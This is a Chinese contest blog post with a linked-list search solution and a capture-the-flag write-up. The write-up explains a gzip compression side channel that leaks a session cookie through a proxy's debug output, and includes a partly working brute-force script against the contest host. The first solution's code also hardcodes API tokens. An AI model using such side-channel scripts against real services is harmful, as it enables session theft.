MegCup 复赛(划水)

今天参加了MegCup,然而一整天就做出了一道题来。。。我还是太菜了QvQ


Linked List

背景

小Q有一些排好序的链表放在内存里。为了更紧凑地利用空间,小Q运行了一下内存整理程序,把链表们整齐的放在了一个内存地址连续的数组里。 每个链表元素包含所含数的大小,以及下一个链表元素在数组里的zero-based的下标。"-1"表示没有下一个元素。每个链表里有10000个元素,也就是说,下标的范围是0~9999。

对于每一个整理好的链表,小Q想知道是否存在某个给定的数,但除了按照链表顺序或数组顺序遍历所有元素外他并不知道怎么做。 然而小Q的电脑年代久远,内存访问很慢,所以他希望用尽量少的访存次数能知道是否存在某个数。 但他很忙,所以他出了这道题,希望你们能用最少访问次数回答一个排好序的放在数组里的链表是否存在某个数的询问。

思路

首先这个数字可以理解成:

1
2
3
4
5
6
7
8
9
{
"data": {
"index": 4,
"next": 2550,
"valid": true,
"value": 343779541
},
"status": "succeed"
}

也就是数组【下标】所指的内容中【包含了链表元素】,其中链表是排序了的,但是数组并没有排序。

注意看题目,重点在于用尽量少的访存次数,找到数字
然后下面呢的提示中有提到:

  • 本题为Web API交互题。你一共要对20个链表进行解题,对每个链表,要在400次查询内得到答案。答对其中的15个即为通过。为了节约你的时间,我们提供封装过的python API供下载。你可以在页面"Python API下载"处下载。

相当于这个访问细节我们不需要考虑,于是我们只需要考虑我们如何减少访问的次数即可。由于是一个打乱过 的数组,但是链表却又是[排过序],那么我们减少访问次数的方法最直观的想法就是【二分查找】。然而我们的数据确实打乱过,二分要求的却是要找到最大值最小值,从中取值。

后来仔细想,二分查找的本质思想就是【在某个区间中查找我们需要的数值】,于是得到启发:
从区间取值 —> 此时的链表是排好序的 -----> 利用链表形成区间 ----->用随机数取值从而形成大致的区间
于是我们随机选取50个数字,以这些数字作为下标来选取内容:

然后将这些节点按value内容排序,从而形成一个个区间,然后让我们的target(需要查找的值)找到自己所处的区间,这样的话理想状态下就能够在 10000/50 +50 = 250 次中完成查找。

这里附上代码和比赛api:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
import math
import functools
import argparse
import random
import json
import os
import threading
import time

try:
import urllib.request as urlrequest
except ImportError:
import urllib as urlrequest

# Your token here
CONTEST_TOKEN = 'b19fded89894146d66ec90e31f973b141619de13d776455d251fb8188ef962b7'
PRACTICE_TOKEN = '7b269fe8818bf152d554677d31ed916141b379f13e09ce66d64149898dedf91b'

def get_token(token_type):
if token_type == 'contest':
return CONTEST_TOKEN
elif token_type=='practice':
return PRACTICE_TOKEN
else:
return None


def get_api_root(token_type):
if token_type == 'contest':
return 'http://47.93.114.77:13555/sequence'
elif token_type=='practice':
return 'http://47.90.105.15:13555/sequence'
else:
return None


def _check_resp(resp):
if resp['status'] == 'succeed':
return True, resp['data']
return False, resp


def check_resp_deco(func):
@functools.wraps(func)
def wrapper(*args, **kwargs):
ret = func(*args, **kwargs)
succ, rst = _check_resp(ret)
if not succ:
raise RuntimeError(rst)
return rst

return wrapper


class Sequence:
"""
API wrapper for a single problem sequence
"""
def __init__(self, token, seq_id, api_root):
self.token = token
self.seq_id = seq_id
self.api_root = api_root
if self.token==None:
rnd=random.Random(seq_id*1357)
order=list(range(10000))
rnd.shuffle(order)
self.nexts=[0 for i in range(10000)]
for i in range(len(order)):
if i!=len(order)-1:
self.nexts[order[i]]=order[i+1]
else:
self.nexts[order[i]]=-1
self.head=order[0]
numbers=sorted([rnd.randrange(2**31-10001) for i in range(10000)])
for i in range(len(numbers)):
numbers[i]+=i
self.numbers=[0 for i in range(10000)]
for i in range(len(numbers)):
self.numbers[order[i]]=numbers[i]
if rnd.choice([True,False]):
self._target=rnd.choice(self.numbers)
self.ground_truth=True
else:
self._target=rnd.randrange(2**31-10001)
self.ground_truth=self._target in self.numbers
self.query_count=0
self.passed=False
self._finished=False

@property
def base_url(self):
return self.api_root + '/{token}/seq/{seq_id}'.format(
token=self.token, seq_id=self.seq_id)

def _get(self, suffix):
url = self.base_url + suffix
# print('url: {}'.format(url))
rst = json.loads(urlrequest.urlopen(url).read().decode('utf8'))
# print('response: {}'.format(rst))
return rst

@check_resp_deco
def get_status(self):
if self.token is None:
return {
'status':'succeed',
'data':{
'count':self.query_count,
'finished':self._finished,
'length':10000,
'passed':('unfinished' if not self._finished else self.passed),
'target':self._target,
'head_index':self.head,
}
}
return self._get('/status')

@property
def length(self):
return self.get_status()['length']

@property
def target(self):
"""target value to look up
"""
return self.get_status()['target']

@property
def head_index(self):
"""head index of the linked list in the array
"""
return self.get_status()['head_index']

@property
def finished(self):
return self.get_status()['finished']

@property
def history(self):
return self.get_status()['history']

@property
def count(self):
return self.get_status()['count']

@check_resp_deco
def query(self, index):
if self.token==None:
if self._finished:
return {
'status':'error',
'data':{
'message':"sequence already finished",
'valid':False,
}
}
elif self.query_count>=400:
self._finished=True
return {
'status':'succeed',
'data':{
'message':"number of queries exceeds limit (400), you've failed the test case",
'valid':False,
}
}
elif index<0 or index>=10000:
return {
'status':'error',
'data':{
'message':"invalid index",
'valid':False,
}
}
else:
self.query_count+=1
return {
'status':'succeed',
'data':{
'index':index,
'next':self.nexts[index],
'valid':True,
'value':self.numbers[index]
}
}
else:
return self._get('/query/{}'.format(index))

@check_resp_deco
def report(self, result):
"""
:param result: 'exist' or 'not_exist'
"""
if self.token==None:
if self._finished:
return {
'status':'error',
'data':{
'message':"sequence already finished"
}
}
elif result not in ['exist','not_exist']:
return {
'status':'error',
'data':{
'index':'result must be either "exist" or "not_exist"'
}
}
self._finished=True
self.passed=(result=='exist')==self.ground_truth
return {
'status':'succeed',
'data':{
'passed':self.passed
}
}
return self._get('/report/{}'.format(result))


def verbose_get(url):
# print('url: {}'.format(url))
rst = json.loads(urlrequest.urlopen(url).read().decode('utf8'))
# print('response: {}'.format(rst))
return rst

def get_overall_status(api_root, token):
res = verbose_get(api_root + '/' + token + '/status')
if res['status'] != 'succeed':
raise RuntimeError(res)
return res['data']


def get_pass_token(api_root, token):
return get_overall_status(api_root, token)['pass_token']


def reset_token(api_root, token):
res = verbose_get(api_root + '/' + token + '/reset')
if res['status'] != 'succeed':
raise RuntimeError(res)
return res['data']

def get_value(seq, begin_idx, end_idx, target):
cur_idx = begin_idx
while cur_idx != end_idx:
try:
r = seq.query(cur_idx)
if not r['valid']:
print(r['message'])
break
v = r['value']
if v == target:
seq.report('exist')
print("[!]{} : exist at {}".format(target, r))
break
cur_idx = r['next']
except Exception as e:
print("sleeping....")
time.sleep(5)
continue
else:
try:
seq.report('not_exist')
print("[!]%d : not exist "%(target))
except Exception as e:
print("sleeping....")
time.sleep(5)
seq.report('not_exist')
print("[!]%d : not exist "%(target))

def confirm_section(seq, target, length, head_index):
temp_num = [random.randint(0, length - 1) for i in range(49)]
temp_num.append(head_index)
ans = []
for each_idx in temp_num:
res = seq.query(each_idx)
if not res['valid']:
print(res['message'])
break
value = res['value']
ans.append((value, each_idx))

# input("please stop")
ans = sorted(ans)
# print()
# print(target)
# input("OK")
for i in range(1, len(ans)):
if ans[i-1][0]<=target<=ans[i][0]:
print("find begin:%d at %d end:%d at %d"%(ans[i-1][0], ans[i-1][1], ans[i][0], ans[i][1]))
# input("please stop")
return ans[i-1][1], ans[i][1]
return ans[len(ans)-1][1], -1

if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('--token-type', default='local',
choices=['contest', 'practice','local'])
parser.add_argument( '--noreset', action='store_true',
help='do not reset a practice token')
args = parser.parse_args()

token = get_token(args.token_type)
api_root = get_api_root(args.token_type)

if token==PRACTICE_TOKEN and not args.noreset:
reset_token(api_root, token)

seqs=[]
for seq_id in range(20):
seq = Sequence(token, seq_id, api_root)
seqs.append(seq)
n = seq.length
cur_idx = seq.head_index
target_ = seq.target
begin_idx, end_idx = confirm_section(seq, target_, n, cur_idx)
t = threading.Thread(target = get_value, args =(seq, begin_idx, end_idx, target_))
t.start()
t.join()
# get_value(seq, begin_idx, end_idx, target)

if api_root!=None:
print(get_overall_status(api_root, token))
print('pass_token: {}'.format(get_pass_token(api_root, token)))
else:
for seq in seqs:
print(seq.get_status())

# vim: foldmethod=marker

最后正好挂了5个测试。。。。所以正好通过了

=======================================
(没有做出来的有趣的题目们)

Bad Proxy

旷工小Q最近发现他的AI robot有了一些智能化的倾向,开始自动修改一些代码和配置, 目前已经剥夺了小Q账户的root权限,但貌似还没有更进一步的行动。小Q认为这很有有趣 也很危险,所以希望先终止AI的运行再慢慢调查;然而杀掉AI进程需要root权限,而强行 关机可能造成数据损失。

好在小Q早就考虑到了这一点,他运行的是修改过的linux kernel。在主板上有一个加密芯 片,存储有令牌和私钥。如果能够用私钥对令牌签名,并把签名结果直接发送到wifi interface上,该kernel就会直接终止AI进程。签名可以通过一台签名服务器和前面的代理 来访问。签名服务器的代码是放在ROM里的,不可被修改,可以被整个系统访问,但需要 sessionid作为认证;而代理服务器只能通过OTG线访问,所以不需要认证。现在小Q已经成 功连接上了代理服务器,然而他发现狡猾的AI在里面加了两行:

if page == ‘signtoken’:
return make_response(‘permission denied’, 403)
而现在小Q已经没有权限修改proxy的代码了。所以他希望你能帮助他,绕过代理服务器的权限检查,得到令牌签名,终止AI。

代理服务器:通过47.93.114.77:38700来访问; 源代码:proxy.py
签名服务器:通过47.93.114.77:38701来访问; 源代码:server.py

proxy.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from mysecret import get_signed_session_id_raw
from flask import Flask, request, make_response
import requests

import base64

app = Flask(__name__)

UPSTREAM_URL = 'http://localhost:38701'

@app.route("/")
def hello():
return "online proxy usage: /&lt;username&gt;/&lt;page&gt;"

@app.route("/<username>/<page>", methods=['GET', 'POST'])
def proxy(username, page):
try:
page = page.strip()
assert set(page).issubset(set(
chr(i) for i in range(ord('a'), ord('z') + 1)))
if page == 'signtoken':
return make_response('permission denied', 403)

sid = get_signed_session_id_raw(username)
sid = base64.urlsafe_b64encode(sid).decode('utf-8')
up_resp = requests.get(UPSTREAM_URL + '/' + page, params=request.args,
cookies={'sessionid': sid})

# some debug pages may expose session id; strip them
resp = up_resp.text.replace(sid, '<del>sessionid</del>')

if request.form.get('debug'):
resp += '<br /><hr>proxy debug<br />'
resp += 'server response headers: <pre>{}</pre>'.format(
up_resp.headers)

return resp
except:
return 'error'


if __name__ == "__main__":
app.run(debug=True, port=38700)

server.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from mysecret import check_session_id, signtoken as do_signtoken
from simpleeval import simple_eval

from flask import Flask, request, make_response
import functools

app = Flask(__name__)

def require_login(func):
@functools.wraps(func)
def work():
try:
sid = request.cookies.get('sessionid')
if not sid or not check_session_id(sid):
return make_response('please login first', 401)
return func()
except:
return 'error'
return work

@app.route("/")
def hello():
return "Hello World!"

@app.route("/echo")
@require_login
def echo():
return make_response("""
<h1>echo page</h1>
<h2>request headers</h2><pre>{}</pre><h2>args</h2><pre>{}</pre>
""".format(request.headers,
'\n'.join('{}: {}'.format(k, v)
for k, v in request.args.items())))

@app.route("/eval")
@require_login
def eval_():
expr = request.args['expr']
result = simple_eval(expr)
return make_response("""
<h1>eval page</h1>
<pre>{} = {}</pre>
""".format(expr, result))

@app.route("/signtoken")
@require_login
def signtoken():
token = request.args['token']
signature = do_signtoken(token)
return "token: {}<br />signature: {}".format(token, signature)

if __name__ == "__main__":
app.run(debug=True, port=38701)

思路介绍

这题当时比赛时,为了看懂题目花了很久很久。。。。后来才明白,首先我们通过访问proxy的服务器,能够出发下列关键代码:

1
2
3
4
5
6
7
UPSTREAM_URL = 'http://localhost:38701'
@app.route("/<username>/<page>", methods=['GET', 'POST'])
...
sid = get_signed_session_id_raw(username)
sid = base64.urlsafe_b64encode(sid).decode('utf-8')
up_resp = requests.get(UPSTREAM_URL + '/' + page, params=request.args,
cookies={'sessionid': sid})

通过输入了username和page访问url,从而将自己的username签名成sessionid,然后访问到38701端口,也就是server服务器上。然后server服务器上总共提供三种不同的服务:

  • echo:打印当前request请求中的args
  • eval:执行request中的expr参数后面的表达式
  • signtoken:目标,对request中的signtoken参数进行签名并且返回

这三种服务都是需要登陆验证的。一般网站的登陆验证机制就是由sessionid进行确认,这里也不例外:

1
2
3
4
5
6
7
try:
sid = request.cookies.get('sessionid')
if not sid or not check_session_id(sid):
return make_response('please login first', 401)
return func()
except:
return 'error'

由于我们在proxy中发现了signtoken这个字符串已经被过滤了,也就是说我们不能按照代理转发的方式去访问。自己做得时候一度怀疑和eval这个功能有关系,然而事实证明,这个功能就是个陷阱。。。。根本啥都做不来。

看了别的大佬的代码之后,发现其实根本就不是利用这个eval,而是要利用proxu中有一段debug信息:

1
2
3
4
if request.form.get('debug'):
resp += '<br /><hr>proxy debug<br />'
resp += 'server response headers: <pre>{}</pre>'.format(
up_resp.headers)

首先给自己扫盲一下,这个debug参数的意思是:当存在于form表单中(也就是post请求)并且值不为0,就能够返回true

然后沃恩可以看到,这里将我们的headers参数加入了格式化字符串,headers中都有什么呢:

1
<br /><hr>proxy debug<br />server response headers: <pre>{'Server': 'nginx/1.4.6 (Ubuntu)', 'Date': 'Mon, 27 Mar 2017 08:43:03 GMT', 'Content-Length': '238', 'Connection': 'keep-alive', 'Vary': 'Accept-Encoding', 'Content-Type': 'text/html; charset=utf-8', 'Content-Encoding': 'gzip'}</pre>

这里要关注如下变量:

  • Content-Length:头部内容长度
  • Content-Encoding:当前html的加密方式
    继续给 web渣渣的自己扫盲:
    1.Accept-Encoding是当client向server请求的一个参数,这个参数中指示了浏览器支持的加密方式。
    2.Web服务器接受到client的请求后,首先检查是否支持压缩,然后检查请求文件的后缀名
    3.如果是静态界面,比如CSS,HTML,那么就会在本地压缩缓冲目录中查找当前请求文件是否已经已经被压缩
    4.如果已经压缩过,则直接返回请求文件的压缩文件
    5.如果没有压缩过,那么直接返回未压缩的文件,同时将文件压缩存放在压缩目录
    6.如果是动态内容,则直接压缩后返回给浏览器,并且不存放在本地。

我们可以看到此时使用的加密算法是gzip,gzip是一种基于deflate算法的压缩算法。deflate是一种压缩数据流的算法,任何需要压缩流的地方都可以用。
delfate算法由下面两个算法一起构成:

  • Huffman
  • LZ77
    其中,Huffman就是数据结构课本上那个,根据字符出现的频率,设计出一颗二叉树,产生相应的前缀编码,从而将数据进行压缩。

    LZ77是一种基于滑动窗口的算法。这个算法我看了个半天都没怎么看懂,就大致了解了一下实现后的压缩效果:
    例如:
    abcdcdcdcdcdce – > dict=abcd 编码为(2, 9 ,e)[从下标为2的字符串开始为重复字符串,长度为9,之后的下一个字符为e]

也就是一种能够将重复的字符压缩的算法,而且更厉害的还能够这样:

由图可知,此时能够将aacaacabcabaaac压缩成**(_,0,a)(1,1,c)(3,4,b)(3,3,a)(1,2,c)**,可以见得其压缩率。
加密算法为:

1
2
3
4
Repeat:
Output (p,l,c),
Cursor --> l+1
Until to the end of string

解密算法为

1
2
for(i = p, k = 0; k < length; i++, k++)
out[cursor+k] = dict[i%cursor]

通过上述的学习,大概能够意识到一点:如果使用了gzip进行了压缩的网站,那么在遇到【相同字符串】的时候,就会将对应的字符串进行压缩。反过来,当我们需要猜测某个会存在于某个会话中内容的时候,我们可以用这种方法去暴力猜测!
以Cookie为例子。假如我们的Cookie内容是:

1
Cookie:secret=123xxx

那么,虽然这个secret我们获取不到,但是我们可以通过泄露头部的方法将Cookie:secret=这段内容拿到手。当我们在html中填充内容:

1
Cookie:secret=

的时候,gzip压缩算法中的DEFLATE就会认出这段字符串并且将其压缩成上文提到的那个形式。接下来我们可以尝试猜测后面增加额度字符串:

1
2
3
Cookie:secret=a
Cookie:secret=b
...

在正确的猜测之前,这个字符串由于之前是没有出现过的,所以并不会被压缩。然而,当我们猜测正确后:

1
Cookie:secret=1

此时DEFLATE会将1也压缩至之前的长度中,这就说明了此时的1是压缩成功的,换句话是,cookie的第一位长度就是1.

看到我们的proxy端的代码,可以看到这里会将我们的Content-Length给输出来,那么我们就可以通过构造这个Cookie:sessionid=字符串,进行sessionid的猜测,从而完成攻击。
然而实际实现起来远远没有这么简单。。。。完全是暴力破解,因为很多数据同时会在不同的状态下被压缩,从而导致长度不发生变化。。。。最后还是得靠暴力破解。。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#	-*- coding:utf-8	-*-
import requests
import random
import hashlib
import re

url = "http://47.93.114.77:38700/admin"
echo_url = url+"/echo"
charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_='

cookie = "Nm7qc8McXHrH7mJFziDSJ"
value = {
'debug':1,
}

def getLength(html):
param = {
'':html
}
pattern = r"'Content-Length': '([\d\D]*?)',"
try:
res = requests.post(echo_url, data=value, params = param)
length = int(re.findall(pattern, res.text)[0])
print("trying %c, length is %d"%(html[-1:], length))
return length
except Exception as e:
print(res.text)

def findCookie():
param = {}
# param = {'':''}
# res = requests.get('http://47.93.114.77:38701/signtoken',params=value, cookies = cookie)
# res = requests.post(echo_url, data=value, params = {'Cookie':'sessionid='})
# print(str(res.text.replace('\r',r'\\r').replace('\n',r'\\n')))
sessionid ="""
<h1>echo page</h1>
<h2>request headers</h2><pre>Accept: */*\r
Connection: close\r
User-Agent: python-requests/2.13.0\r
Accept-Encoding: gzip, deflate\r
Host: localhost:38701\r
Cookie: sessionid="""
num = 0
short_length = 9999
param[''] = sessionid
c = ''
possible_c = []

while True:
real_len = getLength(sessionid)
for each in charset:
length = getLength(sessionid + each)
# print("length is " + str(length))
if length<=real_len:
short_length = length
possible_c.append(each)

if '3' in possible_c:
possible_c.remove('3')

temp_sessioinid = sessionid
real_length = getLength(temp_sessioinid[1:])

print("[*]real length %d"%real_length)
while len(possible_c)>=2:
temp_sessioinid = temp_sessioinid[1:]
for each in possible_c:
length = getLength(temp_sessioinid + each)
if length>real_length:
possible_c.remove(each)

sessionid += possible_c[0]
num = 0
print("sessionid is {}, and length is {}".format(sessionid, short_length))
short_length = 9999
if len(sessionid[303:]) >=32:
break

print(sessionid)
if __name__ == '__main__':
# cookie = {
# 'sessionid':hashlib.md5(b'aaa').hexdigest()
# }
findCookie()
# res = requests.post(echo_url, data=value, params = {'Cookie':cookie})
# res = requests.get('http://47.93.114.77:38701/echo', params = {"expr":"1+1"}, headers={'Cookie': 'sessionid=' + cookie})
print(res.text)

这个只能找到19位的sessionid。。。。从大佬的blog看得找到24位才行。。。GG看起来只能暴力猜测了

参考博客:
http://hzp.iteye.com/blog/1833619
http://www.cnblogs.com/en-heng/p/4992916.html